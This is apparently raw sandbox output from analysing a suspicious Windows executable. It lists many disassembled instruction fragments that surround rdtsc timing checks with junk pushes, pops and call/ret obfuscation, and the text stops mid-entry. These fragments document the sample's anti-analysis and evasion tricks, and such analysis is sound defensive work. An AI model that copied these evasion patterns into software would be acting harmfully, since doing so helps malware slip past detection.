Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6D471 second address: E6D475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6D5B9 second address: E6D5DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jc 00007F09FCB08886h 0x0000000e popad 0x0000000f pop esi 0x00000010 pushad 0x00000011 jmp 00007F09FCB0888Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6D5DA second address: E6D5DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6D5DE second address: E6D5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6D5E4 second address: E6D5ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6D70C second address: E6D710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6E052 second address: E6E058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6E058 second address: E6E05D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6E05D second address: E6E064 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6E1D5 second address: E6E1E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007F09FCB08886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E6E5DF second address: E6E5FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Eh 0x00000007 jmp 00007F09FCF89C1Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E709B8 second address: E709CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F09FCB08891h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E71E9E second address: E71EA8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F09FCF89C16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E3D617 second address: E3D658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09FCB0888Ah 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007F09FCB08886h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007F09FCB08894h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jg 00007F09FCB08886h 0x00000027 jnc 00007F09FCB08886h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E3D658 second address: E3D678 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F09FCF89C16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push edi 0x0000000f jl 00007F09FCF89C16h 0x00000015 jp 00007F09FCF89C16h 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E3D678 second address: E3D67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E3D67E second address: E3D682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E3D682 second address: E3D6C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F09FCB08898h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 je 00007F09FCB0888Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7A78A second address: E7A790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7A790 second address: E7A797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7AECF second address: E7AED3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7B708 second address: E7B716 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB0888Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7B7B5 second address: E7B7BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7B7BB second address: E7B7C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7B7C1 second address: E7B7C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7BA53 second address: E7BA60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7BA60 second address: E7BA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7BE68 second address: E7BE76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7BE76 second address: E7BE86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7C27E second address: E7C289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F09FCB08886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7C303 second address: E7C307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7D927 second address: E7D9A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 nop 0x00000007 mov esi, dword ptr [ebp+122D18B4h] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F09FCB08888h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 xor edi, dword ptr [ebp+122D3791h] 0x0000002f mov esi, dword ptr [ebp+122D2B32h] 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007F09FCB08888h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 sub esi, dword ptr [ebp+122D2BBEh] 0x00000057 xchg eax, ebx 0x00000058 jnc 00007F09FCB0888Eh 0x0000005e push eax 0x0000005f push esi 0x00000060 push eax 0x00000061 push edx 0x00000062 push esi 0x00000063 pop esi 0x00000064 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7D7CD second address: E7D7D2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7D7D2 second address: E7D7E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 js 00007F09FCB08894h 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7D7E4 second address: E7D7E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E7F8F4 second address: E7F8F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E80FFD second address: E81001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E81001 second address: E81005 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E822A6 second address: E822C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F09FCF89C24h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E822C9 second address: E822CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E82EB5 second address: E82EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E82B9F second address: E82BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnl 00007F09FCB08888h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F09FCB08890h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E82EBB second address: E82EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E82BC0 second address: E82BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E82BC6 second address: E82BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8A344 second address: E8A35B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F09FCB08891h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8A35B second address: E8A374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09FCF89C25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8BABE second address: E8BAC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8AC37 second address: E8AC4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8BAC4 second address: E8BAE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08899h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8AC4D second address: E8AC67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCF89C1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F09FCF89C1Eh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8BAE7 second address: E8BB80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08896h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop edx 0x0000000d popad 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F09FCB08888h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov edi, dword ptr [ebp+122D2906h] 0x0000002f push 00000000h 0x00000031 jmp 00007F09FCB08898h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F09FCB08888h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 0000001Ch 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 push eax 0x00000053 mov ebx, dword ptr [ebp+12458F8Ah] 0x00000059 pop ebx 0x0000005a xchg eax, esi 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e push edx 0x0000005f pop edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8BB80 second address: E8BB84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8BB84 second address: E8BBA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F09FCB08893h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8BBA0 second address: E8BBC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jnc 00007F09FCF89C28h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8CC40 second address: E8CC4D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8CC4D second address: E8CC51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8DB7F second address: E8DB83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8CD7D second address: E8CD81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8CD81 second address: E8CD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8EC41 second address: E8EC4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F09FCF89C16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8ED12 second address: E8ED18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E8ED18 second address: E8ED1D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E92B67 second address: E92B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 je 00007F09FCB08886h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E92B77 second address: E92B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E385AA second address: E385AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E385AE second address: E385B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E90D5F second address: E90D75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08892h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E93196 second address: E9319A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E90D75 second address: E90E0F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F09FCB0888Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F09FCB08888h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 pushad 0x00000028 jo 00007F09FCB0888Ch 0x0000002e jne 00007F09FCB08886h 0x00000034 xor si, B3FBh 0x00000039 popad 0x0000003a mov dword ptr [ebp+122D3797h], ebx 0x00000040 mov dword ptr [ebp+122D3791h], esi 0x00000046 push dword ptr fs:[00000000h] 0x0000004d mov dword ptr fs:[00000000h], esp 0x00000054 mov bx, 6DCEh 0x00000058 mov eax, dword ptr [ebp+122D0625h] 0x0000005e push 00000000h 0x00000060 push ecx 0x00000061 call 00007F09FCB08888h 0x00000066 pop ecx 0x00000067 mov dword ptr [esp+04h], ecx 0x0000006b add dword ptr [esp+04h], 00000017h 0x00000073 inc ecx 0x00000074 push ecx 0x00000075 ret 0x00000076 pop ecx 0x00000077 ret 0x00000078 adc di, F216h 0x0000007d push FFFFFFFFh 0x0000007f mov bl, 40h 0x00000081 push eax 0x00000082 push ecx 0x00000083 push eax 0x00000084 push edx 0x00000085 jno 00007F09FCB08886h 0x0000008b rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E9326F second address: E93275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E93275 second address: E93279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E93279 second address: E93287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E934DA second address: E934E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E934E0 second address: E934E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E981DC second address: E98201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F09FCB08899h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E98201 second address: E98205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E98205 second address: E9820E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E9820E second address: E98216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E98216 second address: E9821B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E9821B second address: E98223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E953D9 second address: E953DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E953DD second address: E953E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E953E3 second address: E95482 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09FCB08898h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a add dword ptr [ebp+122D18EFh], ecx 0x00000010 movzx edi, si 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov ebx, edi 0x0000001c mov dword ptr fs:[00000000h], esp 0x00000023 push 00000000h 0x00000025 push edx 0x00000026 call 00007F09FCB08888h 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], edx 0x00000030 add dword ptr [esp+04h], 0000001Ch 0x00000038 inc edx 0x00000039 push edx 0x0000003a ret 0x0000003b pop edx 0x0000003c ret 0x0000003d mov edi, dword ptr [ebp+122D17A9h] 0x00000043 mov eax, dword ptr [ebp+122D0061h] 0x00000049 mov bx, 8769h 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push eax 0x00000052 call 00007F09FCB08888h 0x00000057 pop eax 0x00000058 mov dword ptr [esp+04h], eax 0x0000005c add dword ptr [esp+04h], 0000001Ah 0x00000064 inc eax 0x00000065 push eax 0x00000066 ret 0x00000067 pop eax 0x00000068 ret 0x00000069 adc di, CCBFh 0x0000006e mov edi, dword ptr [ebp+122D26DDh] 0x00000074 push eax 0x00000075 pushad 0x00000076 push eax 0x00000077 push edx 0x00000078 pushad 0x00000079 popad 0x0000007a rdtsc
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe RDTSC instruction interceptor: First address: E94461 second address: E944D6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F09FCF89C16h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov di, bx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 or bx, FEF7h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push edi 0x00000028 call 00007F09FCF89C18h 0x0000002d pop edi 0x0000002e mov dword ptr [esp+04h], edi 0x00000032 add dword ptr [esp+04h], 00000019h 0x0000003a inc edi 0x0000003b push edi 0x0000003c ret 0x0000003d pop edi 0x0000003e ret 0x0000003f mov eax, dword ptr [ebp+122D13E9h] 0x00000045 jmp 00007F09FCF89C29h 0x0000004a push FFFFFFFFh 0x0000004c mov di, bx 0x0000004f push eax 0x00000050 pushad 